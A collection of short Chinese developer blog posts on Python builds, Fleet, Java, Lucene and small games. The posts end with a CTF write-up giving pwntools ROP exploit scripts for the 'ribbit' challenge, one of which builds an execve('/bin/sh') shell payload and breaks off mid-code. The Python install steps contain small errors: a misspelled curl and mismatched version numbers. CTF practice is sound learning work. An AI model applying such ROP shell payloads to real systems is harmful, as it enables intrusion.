wsl-debian 里默认用 apt install python3 安装的是 python3.11 

在跑 langchain-chatGLM 里很多依赖装不了，看群里说用 python3.8 没有问题

找到一个用官方包安装的教程，记录一下

1. 安装基础包

   ```
   sudo apt install build-essential zlib1g-dev libncurses5-dev libgdbm-dev libnss3-dev libssl-dev libsqlite3-dev libreadline-dev libffi-dev curl libbz2-dev
   ```
2. 下载包

   ```bash
   crul -O https://www.python.org/ftp/python/3.8.17/Python-3.8.17.tar.xz
   ```

   ```
   tar -xf Python-3.8.2.tar.xz
   ```
3. 编译配置

   ```
   cd Python-3.8.2
   ```

   ```
   ./configure --enable-optimizations
   ```
4. 编译安装

   ```
   make -j 16
   ```

   ```
   make install
   ```

   > 上面的 16 是线程数，看机器的 cpu 情况
   >
   >  如果不想覆盖系统本来的 python 版本可以使用 `sudo make altinstall`
5. 使用，查看版本

   ```
   python3.8 --version
   ```

记录一下手动安装python3.8

来一起闲聊吧

https://discord.gg/C87hXhqt

有 Java 问题的可以问我

discord的交互真不错

> Fleet 开放试用了，就看到群里有人在吐槽，什么不如 vscode 的，这有什么好比的，还没毕业的愣头青怎么跟工作七八年的老油条比。
>
> 不过我也好奇 Fleet 底层是啥样的，逛了一下官网

# Fleet 是如何构建的？

Fleet 主要以 Kotlin 编写而成，因此它在 JVM 上运行。UI 框架是使用 [Skia](https://skia.org/)（通过 Skiko）的自产解决方案。

至于我们为什么不使用 Compose Multiplatform：我们开始研发 Fleet 时 Compose Multiplatform 尚不可用。 

此外，Fleet 将 Rust 用于 Fleet System Agent，后者是一个在目标计算机上运行的进程，在目标环境中代替 Fleet 来构建项目、运行代码、执行终端命令和执行其他操作。

> 呀，Flutter 的小兄弟

# 中文博客

## [Fleet 后台探秘，第一部分 – 架构概述](https://blog.jetbrains.com/zh-hans/fleet/2022/01/fleet-below-deck-part-i-architecture-overview/)

## [Fleet 后台探秘，第二部分 – 编辑器详解](https://blog.jetbrains.com/zh-hans/fleet/2022/02/fleet-below-deck-part-ii-breaking-down-the-editor/)

## [Fleet 后台探秘，第三部分 — 状态管理](https://blog.jetbrains.com/zh-hans/fleet/2022/06/fleet-below-deck-part-iii-state-management/)

## [Fleet 后台探秘，第四部分 – 分布式事务](https://blog.jetbrains.com/zh-hans/fleet/2022/07/fleet-below-deck-part-iv-distributed-transactions/)

## [Fleet 后台探秘，第五部分 – 代码补全的故事](https://blog.jetbrains.com/zh-hans/fleet/2022/09/fleet-below-deck-part-v-the-story-of-code-completion/)

# 其他

## [在线AST可视化](https://astexplorer.net/)

了解一下Fleet

最近公司在做订单相关业务，想要整体学习和了解电商系统。

一般来说都是去参考开源系统，但是我觉得只是看的话效率和效果都不太好，俗话说，买不如造，干脆直接造一套吧。

找了几个 stars 比较多的项目，其中几个是我以前就关注过的

* https://github.com/macrozheng/mall
* https://github.com/macrozheng/mall-swarm
* https://github.com/newbee-ltd/newbee-mall
* https://github.com/mtcarpenter/mall-cloud-alibaba
* https://github.com/zeromicro/zeromall

这个人做的市场调研还可以的, 去年就关注了这个项目, 不过一直没什么动静

* https://github.com/zeromicro/zeromall/issues/1

这句说得很对，`学习一门新技术, 最好的方式, 就是用他写一个产品。`

实现的技术栈我暂时想了这么多

*  jdk17
*  spring-cloud-alibaba
*  skywalking
*  kubernates
*  mysql8

>  其实我更喜欢用 kotlin, 但是独乐乐不如众乐乐，还是 Java 群体更广泛

实施方案

1. 照搬 mall 的表设计跟数据模型
2.  业务自己写，感觉有需要的时候会
3.  再说吧。。。。

后续代码会上传到这个仓库里

`https://github.com/j2go/spring-cloud-mall`

有时间的话 gitee 也同步一份，也建了一个同名仓库

`https://gitee.com/j2go/spring-cloud-mall`

个人利益相关，应该不会中断

开大坑-电商系统轮子

```bash
#!/bin/bash
n=$(expr $RANDOM % 100)
count=0
echo '开始猜数字(0-100)'
while : 
do
    read -ep "猜吧:" num
    let count++
    echo "$num"
    if [ $num -gt $n ];then echo "大了."
    elif [  $num -lt $n ];then echo "小了."
    else echo "bingo!!" && echo "你总共猜了 $count 次" && exit
    fi
done
```

![](https://content.hackertalk.net/pub/Ayoalm-6JeAga1)

windows 下可以用 gitbash 玩

![](https://content.hackertalk.net/pub/KyeOXG-0n7DzVy)


什么，连 git 都没有，好了，你不属于这里  :sunglasses: 

给大家表演一个bash猜数字游戏

有多少人想学网站开发的，要是超过 100 个我带大家一步一步从头开发一个黑客说 :sunglasses: 

从头开发黑客说

下面的代码是一位 8 年工作经验的大哥写的

```java
    private String handleDayWeeks() {
        String name = "";
        Calendar c = Calendar.getInstance();
        c.setTime(new Date());
        int dayForWeek = 0;
        if (c.get(Calendar.DAY_OF_WEEK) == 1) {
            dayForWeek = 7;
        } else {
            dayForWeek = c.get(Calendar.DAY_OF_WEEK) - 1;
        }
        if (dayForWeek == 1) {
            name = "Monday";
        } else if (dayForWeek == 2) {
            name = "Tuesday";
        } else if (dayForWeek == 3) {
            name = "Wednesday";
        } else if (dayForWeek == 4) {
            name = "Thursday";
        } else if (dayForWeek == 5) {
            name = "Friday";
        } else if (dayForWeek == 6) {
            name = "Saturday";
        } else if (dayForWeek == 7) {
            name = "Sunday";
        }
        return name;
    }
```

不得不说 JDK8 都已经发布 7 年了，实现同样的功能一行就搞定

```java
public class TestLocalDate {

    public static void main(String[] args) {
        String today = LocalDate.now().getDayOfWeek().getDisplayName(TextStyle.FULL, Locale.ENGLISH);
        System.out.println(today);
    }
}
```

Java 返回今天星期几

在我搜上面那个问题的时候发现一个特别有意思的站点

![](https://content.hackertalk.net/pub/9eV3w9-x2P0l58)

# [html5.tool](https://html5.tool.webfrontend.dev/)



Html 到底有多少个标签

也是很多年前用 html+js 写的 2048，后来玩 [electronjs](https://www.electronjs.org/) 打包成 exe ，发现打包完竟然有 100 多 M，当时也是惊了个呆 :expressionless: 

刚刚用 [Tarui](https://tauri.app/) 试了一下，打出来的包才 2.68m，牛鼻

不过我现在是 mac 系统，只能打个 dmg，后面有空了用 windows 打个 exe

[源码在这里](https://github.com/j2go/tauri-2048)

[下载链接](https://github.com/j2go/tauri-2048/releases/tag/v0.1)

![](https://content.hackertalk.net/pub/yXyy3l-zlWG6W5)

2048小游戏桌面版

## 下载地址

https://lucene.apache.org/core/downloads.html

## 设置 CLASSPATH

下载最新的 Lucene 发行版，然后将其解压到工作目录。

您需要四个 JAR：Lucene JAR、queryparser JAR、通用分析 JAR 和 Lucene 演示 JAR。您应该在解压档案时创建的 core/ 目录中看到 Lucene JAR 文件——它应该被命名为 lucene-core-{version}.jar。您还应该在 queryparser、analysis/common/ 和 demo/ 下分别看到名为lucene-queryparser-{version}.jar、 lucene-analysis-common-{version}.jar和lucene-demo-{version}.jar的文件。

将所有这四个文件放在您的 Java CLASSPATH 中。

## 索引文件

让我们建立一个索引！假设您已正确设置 CLASSPATH，只需键入：

```bash
$java org.apache.lucene.demo.IndexFiles -docs {path-to-lucene}
```

这将生成一个名为index的子目录 ，其中包含所有 Lucene 源代码的索引。

要搜索索引类型：

```bash
$java org.apache.lucene.demo.SearchFiles
```

系统将提示您进行查询。输入乱码或编造的词（例如：“superca lifragilisticexpialidocious”）。您会看到 lucene 源代码中没有任何加工结果。现在尝试输入单词“string”。那应该返回一大堆文件。结果将在每十个结果处翻页，并询问您是否想要更多结果。

## 源码位置

此处讨论的文件直接链接到此文档中：

* IndexFiles.java：创建 Lucene 索引的代码。
* SearchFiles.java：用于搜索 Lucene 索引的代码。

## 索引文件

IndexFiles类创建了一个 Lucene 索引。让我们看看它是如何做到这一点的。

main()方法解析命令行参数，然后为实例化做准备 IndexWriter，打开 a Directory，实例化StandardAnalyzer and IndexWriterConfig。

`-index` 命令行参数的值是应该存储所有索引信息的文件系统目录的名称。如果使用-index命令行参数中给出的相对路径调用IndexFiles，或者如果未给出-index命令行参数，导致使用默认的相对索引路径“ index ”，则将创建索引路径作为当前工作目录的子目录（如果它不存在）。在某些平台上，索引路径可能创建在不同的目录中（例如用户的主目录）。

`-docs` 命令行参数值是包含要索引的文件的目录的位置。

`-update` 命令行参数告诉 IndexFiles如果索引已经存在，则不要删除它。当`-update`没有给出时，IndexFiles将在索引任何文档之前首先清除 slate。

IndexWriterDirectory 使用 Lucene 将信息存储在索引中。除了 我们正在使用的实现之外，还有其他几个可以写入 RAM、数据库等的Directory子类。FSDirectory

LuceneAnalyzer 正在处理将文本分解为索引标记（也称为术语）的管道，并且可以选择对这些标记执行其他操作，例如向下大小写、同义词插入、过滤掉不需要的标记等。我们使用的分析器是StandardAnalyzer，它使用创建标记Unicode 标准附件#29中指定的 Unicode 文本分割算法中的分词规则; 将标记转换为小写；然后过滤掉停用词。停用词是常见的语言单词，例如文章（a、an、the 等）和其他可能对搜索价值较低的标记。应该注意的是，每种语言都有不同的规则，您应该为每种语言使用适当的分析器。Lucene 当前为许多不同的语言提供分析器（请参阅lucene/analysis/common/src/java/org/apache/lucene/analysis下的 javadocs ）。

IndexWriterConfig 实例包含IndexWriter的所有配置。例如，我们根据-update命令行参数的值设置此处使用的OpenMode 。

再往下看，在 IndexWriter 实例化之后，您应该会看到 indexDocs() 代码。这个递归函数爬取目录并创建Document对象。Document只是一个数据对象，用于表示文件中的 文本内容以及它的创建时间和位置。这些实例被添加到IndexWriter中。如果 给出-update命令行参数， IndexWriterConfig OpenMode将设置为OpenMode.CREATE_OR_APPEND，而不是将文档添加到索引中，IndexWriter将 更新通过尝试查找具有相同标识符的已编入索引的文档（在我们的例子中，文件路径用作标识符），它们在索引中；如果存在，将其从索引中删除；然后将新文档添加到索引中。

## 搜索文件

`SearchFiles` 类非常简单。它主要与 `IndexSearcher`, `StandardAnalyzer`, （也用于IndexFiles类）和QueryParser. 查询解析器由一个分析器构成，该分析器用于以与解释文档相同的方式解释查询文本：查找单词边界、向下大小写和删除无用的单词，如“a”、“an”和“the”。该 Query对象包含 QueryParser传递给搜索器的结果。请注意，也可以在Query 不使用查询解析器的情况下以编程方式构造丰富的对象。查询解析器只是将 Lucene 查询语法解码为相应的 Query对象。

`SearchFiles`使用 IndexSearcher.search(query,n)返回 TopDocs最大 n次命中的方法。结果打印在页面中，按分数（即相关性）排序。

## 使用向量嵌入

除了索引和搜索文本之外，IndexFiles 和 SearchFiles 还可以索引和搜索从该文本派生的数字向量，称为“嵌入”。此演示代码使用GloVe项目提供的预计算嵌入，这些嵌入位于公共领域。这里的字典是完整 GloVe 数据集的一小部分。它只包含玩具数据集中出现的单词，绝对不适合生产使用！如果您使用此代码为更大的文档集创建向量索引，则索引器将抛出异常，因为需要更完整的嵌入集才能获得合理的结果。

Apache Lucene - 构建和安装基本演示

某天发现一个服务器资源吃满了，上去看进程

```bash
$ ps aux
```

```prolog
root       310  0.0  0.0 113184   176 ?        Ss   5月03   0:00 /bin/sh -c /usr/sbin/rhn-profile-sync >/dev/null 2>&1
root       311  0.0  0.4 441012 37988 ?        S    5月03   0:01 /usr/bin/python /usr/sbin/rhn-profile-sync
root       459  0.0  0.0 113184     4 ?        Ss   5月03   0:00 /bin/sh -c /usr/sbin/rhn-profile-sync >/dev/null 2>&1
root       460  0.0  0.4 441012 35872 ?        S    5月03   0:01 /usr/bin/python /usr/sbin/rhn-profile-sync
root       923  0.0  0.0 113184     4 ?        Ss   5月03   0:00 /bin/sh -c /usr/sbin/rhn-profile-sync >/dev/null 2>&1
root       924  0.0  0.4 441012 36064 ?        S    5月03   0:01 /usr/bin/python /usr/sbin/rhn-profile-sync
root      1073  0.0  0.0 113184     4 ?        Ss   5月03   0:00 /bin/sh -c /usr/sbin/rhn-profile-sync >/dev/null 2>&1
root      1075  0.0  0.4 441012 38760 ?        S    5月03   0:01 /usr/bin/python /usr/sbin/rhn-profile-sync
root      1133  0.0  0.0 107976   136 ?        Ss   3月16   0:10 rhnsd
root      1210  0.0  0.0 112732   936 pts/0    S+   15:24   0:00 grep --color=auto rhn
root      1368  0.0  0.0 113184     4 ?        Ss   5月03   0:00 /bin/sh -c /usr/sbin/rhn-profile-sync >/dev/null 2>&1
root      1369  0.0  0.3 441012 31128 ?        S    5月03   0:02 /usr/bin/python /usr/sbin/rhn-profile-sync
root      1511  0.0  0.0 113184   176 ?        Ss   5月03   0:00 /bin/sh -c /usr/sbin/rhn-profile-sync >/dev/null 2>&1
root      1514  0.0  0.4 440864 35672 ?        S    5月03   0:01 /usr/bin/python /usr/sbin/rhn-profile-sync
root      1825  0.0  0.0 113184     4 ?        Ss   5月03   0:00 /bin/sh -c /usr/sbin/rhn-profile-sync >/dev/null 2>&1
root      1826  0.0  0.4 441012 37844 ?        S    5月03   0:01 /usr/bin/python /usr/sbin/rhn-profile-sync
root      1966  0.0  0.0 113184   176 ?        Ss   5月03   0:00 /bin/sh -c /usr/sbin/rhn-profile-sync >/dev/null 2>&1
root      1967  0.0  0.3 441012 30908 ?        S    5月03   0:01 /usr/bin/python /usr/sbin/rhn-profile-sync
root      2108  0.0  0.0 113184     4 ?        Ss   5月03   0:00 /bin/sh -c /usr/sbin/rhn-profile-sync >/dev/null 2>&1
root      2109  0.0  0.4 441012 34696 ?        S    5月03   0:01 /usr/bin/python /usr/sbin/rhn-profile-sync
root      2179  0.0  0.0 113184     4 ?        Ss   5月03   0:00 /bin/sh -c /usr/sbin/rhn-profile-sync >/dev/null 2>&1
root      2182  0.0  0.4 441012 38656 ?        S    5月03   0:01 /usr/bin/python /usr/sbin/rhn-profile-sync
root      2252  0.0  0.0 113184     4 ?        Ss   5月03   0:00 /bin/sh -c /usr/sbin/rhn-profile-sync >/dev/null 2>&1
root      2253  0.0  0.4 441012 36236 ?        S    5月03   0:01 /usr/bin/python /usr/sbin/rhn-profile-sync
root      2332  0.0  0.0 113184     4 ?        Ss   5月03   0:00 /bin/sh -c /usr/sbin/rhn-profile-sync >/dev/null 2>&1
root      2334  0.0  0.5 441012 42236 ?        S    5月03   0:01 /usr/bin/python /usr/sbin/rhn-profile-sync
root      2489  0.0  0.0 113184   176 ?        Ss   5月03   0:00 /bin/sh -c /usr/sbin/rhn-profile-sync >/dev/null 2>&1
root      2490  0.0  0.4 441012 39600 ?        S    5月03   0:01 /usr/bin/python /usr/sbin/rhn-profile-sync
root      2537  0.0  0.0 113184   172 ?        Ss   5月03   0:00 /bin/sh -c /usr/sbin/rhn-profile-sync >/dev/null 2>&1
root      2539  0.0  0.4 441012 36704 ?        S    5月03   0:01 /usr/bin/python /usr/sbin/rhn-profile-sync
。。。还有好几百个。。。
```

大量的名字带  rnh 的进程，貌似是同步文件的什么任务，可能哪里出了bug，

全部干掉的命令

```bash
$ ps aux|grep rhn| awk '{print $2}'| xargs kill -9
```

Linux批量干掉进程

你相信 SpringBoot 应用启动只需要 0.035s 吗

![](https://content.hackertalk.net/pub/yXWzl5-xdG6XDw)

[ubuntu22.04 本地编译运行 spring-native 项目](https://www.jianshu.com/p/28ec4d8ead2e)

体验SpringNative

学 git 没有比这个网站做的更优秀的了

# https://learngitbranching.js.org/

比起长篇大论的文字还是动画更好玩也好理解

记住一个基本要点，git 底层存储的是变化的记录

Git学习网站

# [Web Framework Benchmarks](https://www.techempower.com/benchmarks/)

最近的一次测试还是 2021-02-08

![](https://content.hackertalk.net/pub/q8PypJ-aO7dxNy)

WEB框架性能测试排行好久没更新了

![](https://content.hackertalk.net/pub/mrxmw4-exz6NPy)

![](https://content.hackertalk.net/pub/zlNQKO-eoldogY)

你们手头用的几代呢

这两年 Intel 一屁股坐在牙膏管上了

同样一个 Maven 管理的 Java 项目，2020 年中配 1.6w 的 macbookpro 编译要 45s

12400f 的机器编译只要 13s

lntel 历代性能提升

![](https://content.hackertalk.net/pub/XQ1QzM-ea43YmZ)


本来只是打开跑一下，结果跑了两轮怎么越来越高，突然一下就想知道到底能稳定在多少

这是一颗大雷，测超频太辣鸡换下来的 :triumph: 

结果不供参考，纯属无聊哦 :joy: 

大半夜无聊的跑分

一个高中同学的表妹毕业一年，生物专业的，突然想去培训班上上转 coder

有同学在成都有培训机构的经历聊聊体验吗，或者就业环境啥的

主要是成都的环境我确实不太了解

有人突然想转行

![](https://content.hackertalk.net/pub/GMaOQd-70Xa5el)

Rust内存管理备忘录

看到有人发五子棋，翻出我多年前帮人写的大作业，刚试了一下还能跑

![](https://content.hackertalk.net/pub/xdy04p-eapW6Kn)

有需要的同学尽管拿去交作业 :joy: 

```java
import javax.swing.*;
import java.awt.*;
import java.awt.event.KeyAdapter;
import java.awt.event.KeyEvent;
import java.util.ArrayList;
import java.util.Timer;
import java.util.TimerTask;


public class GreedySnake extends JFrame {

    GamePanel panel = new GamePanel();
    /**
     * 键盘监听器
     */
    KeyBoardListener keyboardListener = new KeyBoardListener(panel);
    /**
     * 定时任务
     */
    RefreshTimerTask refreshTimerTask = new RefreshTimerTask(panel, keyboardListener);
    /**
     * 定时器
     */
    Timer refreshTimer = new Timer();

    GreedySnake() {
        setFocusable(true);
        setLayout(null);
        addKeyListener(keyboardListener);
        panel.setBorder(BorderFactory.createLineBorder(Color.black));
        panel.setBounds(0, 0, 490, 300);
        //延迟一秒后启动任务，每 30ms 执行一次
        refreshTimer.scheduleAtFixedRate(refreshTimerTask, 1000, 30);
        add(panel);
    }

    public static void main(String[] args) {
        GreedySnake frame = new GreedySnake();
        frame.setTitle("贪吃蛇 (w: 加速，s: 减速)");
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        frame.setSize(496, 300);
        frame.setResizable(false);
        frame.setLocationRelativeTo(null);
        frame.setVisible(true);
    }
}

/**
 * 每 30ms 执行的任务操作，在 run() 里
 */
class RefreshTimerTask extends TimerTask {
    GamePanel panel;
    KeyBoardListener keyboardlistener;
    int count = 24;

    RefreshTimerTask(GamePanel panel, KeyBoardListener keyboardlistener) {
        this.panel = panel;
        this.keyboardlistener = keyboardlistener;
    }

    public void run() {
        if (panel.snake.state) {
            count -= panel.snake.speed;
            if (count <= 0) {
                if (!keyboardlistener.pause) {
                    panel.draw();
                    keyboardlistener.judge = true;
                }
                count = 24;
            }
        } else {
            panel.restart();
        }
    }
}

class KeyBoardListener extends KeyAdapter {
    GamePanel panel;
    boolean judge;
    boolean pause;

    KeyBoardListener(GamePanel panel) {
        this.panel = panel;
    }

    public void keyPressed(KeyEvent e) {
        int n = e.getKeyCode();
        if (n == KeyEvent.VK_ESCAPE) {
            System.exit(0);
        }
        if (n == KeyEvent.VK_SPACE) {
            pause = !pause;
        } else if (judge) {
            if (n == KeyEvent.VK_UP) {
                panel.snake.control(0);
            } else if (n == KeyEvent.VK_DOWN) {
                panel.snake.control(2);
            } else if (n == KeyEvent.VK_RIGHT) {
                panel.snake.control(1);
            } else if (n == KeyEvent.VK_LEFT) {
                panel.snake.control(3);
            } else if (n == KeyEvent.VK_W) {
                if (panel.snake.speed != 8)
                    panel.snake.speed += 2;
            } else if (n == KeyEvent.VK_S) {
                if (panel.snake.speed != 2)
                    panel.snake.speed -= 2;
            }
            judge = false;
        }
    }
}

class GamePanel extends JPanel {

    private static final long serialVersionUID = 1L;
    int[][] space = new int[27][49];
    Snake snake = new Snake();
    Food food = new Food();
    Wall[] wall = new Wall[4];

    GamePanel() {
        wall[0] = new Wall(0, 0, 0, 49);
        wall[1] = new Wall(0, 1, 1, 25);
        wall[2] = new Wall(0, 26, 0, 49);
        wall[3] = new Wall(48, 1, 1, 25);
        for (int i = 0; i < 4; i++) {
            for (int j = 0; j < wall[i].count; j++) {
                space[wall[i].walls[j].y][wall[i].walls[j].x] = wall[i].walls[j].type;
            }
        }
        drawSpace();
    }

    void drawSpace() {
        int i;
        for (i = 0; i < snake.length; i++) {
            space[snake.body.get(i).y][snake.body.get(i).x] = snake.body.get(i).type;
        }
        space[food.y][food.x] = 4;
    }

    /**
     * 根据当前数据绘制界面
     *
     * @param g
     */
    public void paintComponent(Graphics g) {
        super.paintComponent(g);

        for (int i = 0; i < snake.length; i++) {
            g.fillRoundRect(snake.body.get(i).x * 10, snake.body.get(i).y * 10, 10, 10, 3, 3);
        }
        g.drawOval(food.x * 10, food.y * 10, 10, 10);
        for (int i = 0; i < 4; i++) {
            for (int j = 0; j < wall[i].count; j++) {
                g.drawRect(wall[i].walls[j].x * 10, wall[i].walls[j].y * 10, 10, 10);
                g.drawLine(wall[i].walls[j].x * 10, wall[i].walls[j].y * 10, wall[i].walls[j].x * 10 + 10, wall[i].walls[j].y * 10 + 10);
                g.drawLine(wall[i].walls[j].x * 10 + 10, wall[i].walls[j].y * 10, wall[i].walls[j].x * 10, wall[i].walls[j].y * 10 + 10);
            }
        }
    }

    void draw() {
        //蛇移动一格(坐标集合发生改变)
        int x = snake.body.get(snake.length - 1).x;
        int y = snake.body.get(snake.length - 1).y;
        space[y][x] = 0;
        snake.move();

        checkGameOver();
        repaint();
    }

    /**
     * 检测游戏是否结束，如果结束弹结束框
     */
    void checkGameOver() {
        if (space[snake.body.get(0).y][snake.body.get(0).x] == 4) {
            snake.grow();
            food.refresh();
            space[snake.body.get(0).y][snake.body.get(0).x] = 1;
            space[snake.body.get(snake.length - 1).y][snake.body.get(snake.length - 1).x] = 2;
            if (space[food.y][food.x] != 0) {
                food.refresh();
            }
            space[food.y][food.x] = 4;
        } else if (space[snake.body.get(0).y][snake.body.get(0).x] == 0) {
            space[snake.body.get(0).y][snake.body.get(0).x] = 1;
        } else {
            JOptionPane.showMessageDialog(null, "游戏结束");
            space[snake.body.get(0).y][snake.body.get(0).x] = 0;
            for (int m = 1; m < snake.length; m++) {
                space[snake.body.get(m).y][snake.body.get(m).y] = 0;
            }
            snake.state = false;
        }
    }

    /**
     * 清除数据，重新开始游戏
     */
    void restart() {
        snake.body.clear();
        Brick head = new Brick(1, 24, 15);
        Brick tail = new Brick(2, 22, 15);
        Brick body1 = new Brick(2, 23, 15);
        snake.direction = 1;
        snake.body.add(head);
        snake.body.add(body1);
        snake.body.add(tail);
        snake.length = 3;
        snake.state = true;
        snake.speed = 2;
        food.refresh();
        drawSpace();
        repaint();
    }
}

/**
 * 蛇本体对象
 */
class Snake {
    /**
     * 身体的坐标集合
     */
    ArrayList<Brick> body = new ArrayList<>();
    /**
     * 头部朝向，0 下, 1 右, 2 上, 3 左
     */
    int direction;
    boolean state = true;
    int length;
    /**
     * 移动速度
     */
    int speed = 4;

    Snake() {
        Brick head = new Brick(1, 24, 15);
        Brick tail = new Brick(2, 22, 15);
        Brick body1 = new Brick(2, 23, 15);
        direction = 1;
        body.add(head);
        body.add(body1);
        body.add(tail);
        length = 3;
    }

    void grow() {
        int x = 2 * body.get(length - 1).x - body.get(length - 2).x;
        int y = 2 * body.get(length - 1).y - body.get(length - 2).y;

        body.add(new Brick(2, x, y));
        ++length;
    }

    void move() {
        for (int i = length - 1; i > 0; i--) {
            body.get(i).x = body.get(i - 1).x;
            body.get(i).y = body.get(i - 1).y;
        }
        switch (direction) {
            case 0:
                body.get(0).y -= 1;
                break;
            case 1:
                body.get(0).x += 1;
                break;
            case 2:
                body.get(0).y += 1;
                break;
            case 3:
                body.get(0).x -= 1;
                break;
        }
    }

    /**
     * 键盘控制前进方向
     *
     * @param a
     */
    void control(int a) {
        int m = Math.abs(a - direction);
        if (m != 2 && m != 0) {
            direction = a;
        }
    }

}

/**
 * 界面上的一个点
 */
class Brick {
    int x;
    int y;
    int type;//1-蛇头，2-蛇身,3-边界,4-食物

    Brick(int a, int b, int c) {
        this.type = a;
        this.x = b;
        this.y = c;
    }
}

class Food extends Brick {
    Food() {
        super(4, 0, 0);
        refresh();
    }

    /**
     * 刷新食物坐标
     */
    void refresh() {
        this.x = (int) (Math.random() * 47 + 1);
        this.y = (int) (Math.random() * 25 + 1);
    }
}

/**
 * 游戏边界
 */
class Wall {
    Brick[] walls;
    int count;
    int direction;
    int x;
    int y;

    Wall(int a, int b, int c, int d) {
        this.x = a;
        this.y = b;
        this.direction = c;
        this.count = d;
        walls = new Brick[d];
        for (int i = 0; i < count; i++) {
            if (c == 0) {
                walls[i] = new Brick(3, (x + i), y);
            } else {
                walls[i] = new Brick(3, x, (y + i));
            }
        }
    }
}
```

Java 贪吃蛇

教大家一个体验 IntelliJ IDEA 新 UI 的方法，理论上版本在 2022.1 以上的版本都可以

`Command(Ctrl) + Shift + A`  打开 Actions，或者双击两下 Shift 点进 Actions,

输入 Regis

![](https://content.hackertalk.net/pub/Vy3BoE-7o7Mv9Z)

选中 Registry 回车，找到四个 `.ui` 的选项，全部选中，然后跟着提示重启一下

![](https://content.hackertalk.net/pub/n0GBk5-ZBpe8k)

最终效果，这个新 UI 主题确实好看不少

![](https://content.hackertalk.net/pub/xdy5kD-paND4vm)

体验 IDEA 新 UI

本次国际赛[sakana战队](https://sakana_ctf.gitee.io/sakana)拿下112名, 解出题目如下所示:

![](https://image.hackertalk.net/images/9ef705db-e483-47bb-9801-6ebc0463b87d)

以下为解出题目与比赛结束后检验过能解出的题目:

## pwn

### ribbit

ret2syscall的一道比较模板的题

## 思路一：

构造数据满足win函数

随便找一个bss段的位置。

然后ROP出一个read就行。然后win函数的两个参数分别对应**rdi** 和 **rsi**,那么利用 pop_rdi 和 pop_rsi 指定参数即可。

```python

#!/usr/bin/python3

#coding:utf-8

from pwn import *

import sys

import time

import os

import base64

from struct import pack

    

context.clear(arch='amd64', os='linux', log_level='debug')

context.terminal = ['tmux','new-window']

    

global filename,libc,libcname,host,port,e,BreakPoint,p

    

s       = lambda data       : p.send(data)

sa      = lambda text,data  : p.sendafter(text, data)

sl      = lambda data       : p.sendline(data)

sla     = lambda text,data  : p.sendlineafter(text, data)

r       = lambda num=4096   : p.recv(num)

rl      = lambda            : p.recvline()

ru      = lambda text       : p.recvuntil(text)

pr      = lambda num=4096   : print(p.recv(num))

inter   = lambda            : p.interactive()

l32     = lambda            : u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))

l64     = lambda            : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

uu32    = lambda            : u32(p.recv(4).ljust(4,b'\x00'))

uu64    = lambda            : u64(p.recv(6).ljust(8,b'\x00'))

int16   = lambda data       : int(data,16)

lg      = lambda s, num     : p.success('%s -> 0x%x' % (s, num))

    

def start():

    if args.GDB:

        return gdb.debug(e.path, gdbscript = BreakPoint)

    elif args.REMOTE:

        return remote(host, port)

    else:

        return process(e.path)

    

ret_addr = 0x040101a

pop_rdi = 0x0040201f

pop_rsi = 0x0040a04e

pop_rax = 0x00449267

pop_rdx = 0x000047fe1a

syscall_ret = 0x000414d26

bss_int_addr = 0x00004C72A1

bss_chr_addr = 0x00004C72C0

win_addr = 0x000401825

def exp():

    payload = b'a' * 0x20 + b'b' * 0x08 + p64(ret_addr)

    #1.string = You got this!       Just do it!

    payload += p64(pop_rax) + p64(0x0)

    payload += p64(pop_rdx) + p64(0x100) + p64(pop_rsi) + p64(bss_chr_addr)

    payload += p64(pop_rdi) + p64(0)

    payload += p64(syscall_ret)

    #2.布置传参

    payload += p64(pop_rdi) + p64(0xF10C70B33F) + p64(pop_rsi) + p64(bss_chr_addr) + p64(win_addr) + p64(0xdeadbeef)

    sla("Can you give my pet frog some motivation to jump out the hole? ",payload)

    pause()

    # payload2 = b"You got this!"

    # payload2 = payload2.ljust(0x15,b'\x00')

    # payload2 += b'Just do it!\x00'

    payload2 = b"You\x20got\x20this!\x00\x00\x00\x00\x00\x00\x00\x00Just\x20do\x20it!\x00"

    sl(payload2)

    inter()

    

if __name__ == '__main__':

    filename = './ribbit'

    # libcname = '' 

    host = 'chal.nbctf.com'

    port = 30170

    e = context.binary = ELF(filename)

    # libc = ELF(libcname)

    BreakPoint = '''

    b frog

    '''

    p = start()

    exp()

```

## 思路二：

不管win函数，反正程序能执行system（/bin/sh），那么直接ret2syscall做就行。

先利用syscall实现一个往bss段写/bin/sh的read函数，然后再实现一个system函数就行。

EXP：

```python

#!/usr/bin/python3

#coding:utf-8

from pwn import *

import sys

import time

import os

import base64

from struct import pack

    

context.clear(arch='amd64', os='linux', log_level='debug')

context.terminal = ['tmux','new-window']

    

global filename,libc,libcname,host,port,e,BreakPoint,p

    

s       = lambda data       : p.send(data)

sa      = lambda text,data  : p.sendafter(text, data)

sl      = lambda data       : p.sendline(data)

sla     = lambda text,data  : p.sendlineafter(text, data)

r       = lambda num=4096   : p.recv(num)

rl      = lambda            : p.recvline()

ru      = lambda text       : p.recvuntil(text)

pr      = lambda num=4096   : print(p.recv(num))

inter   = lambda            : p.interactive()

l32     = lambda            : u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))

l64     = lambda            : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

uu32    = lambda            : u32(p.recv(4).ljust(4,b'\x00'))

uu64    = lambda            : u64(p.recv(6).ljust(8,b'\x00'))

int16   = lambda data       : int(data,16)

lg      = lambda s, num     : p.success('%s -> 0x%x' % (s, num))

    

def start():

    if args.GDB:

        return gdb.debug(e.path, gdbscript = BreakPoint)

    elif args.REMOTE:

        return remote(host, port)

    else:

        return process(e.path)

    

ret_addr = 0x040101a

pop_rdi = 0x0040201f

pop_rsi = 0x0040a04e

pop_rax = 0x00449267

pop_rdx = 0x000047fe1a

syscall_ret = 0x000414d26

bss_int_addr = 0x00004C72A1

bss_chr_addr = 0x00004C72C0

win_addr = 0x000401825

def exp():

    payload = b'a' * 0x20 + b'b' * 0x08 + p64(ret_addr)

    #1.string = You got this!       Just do it!

    payload += p64(pop_rax) + p64(0x0)

    payload += p64(pop_rdx) + p64(0x100) + p64(pop_rsi) + p64(bss_chr_addr)

    payload += p64(pop_rdi) + p64(0)

    payload += p64(syscall_ret)

    #2. execve("/bin/sh",NULL,NULL)

    payload += p64(pop_rax) + p64(0x3b)

    payload += p64(pop_rdx) + p64(0x0) + p64(pop_rsi) + p64(0)

    payload += p64(pop_rdi) + p64(bss_chr_addr)

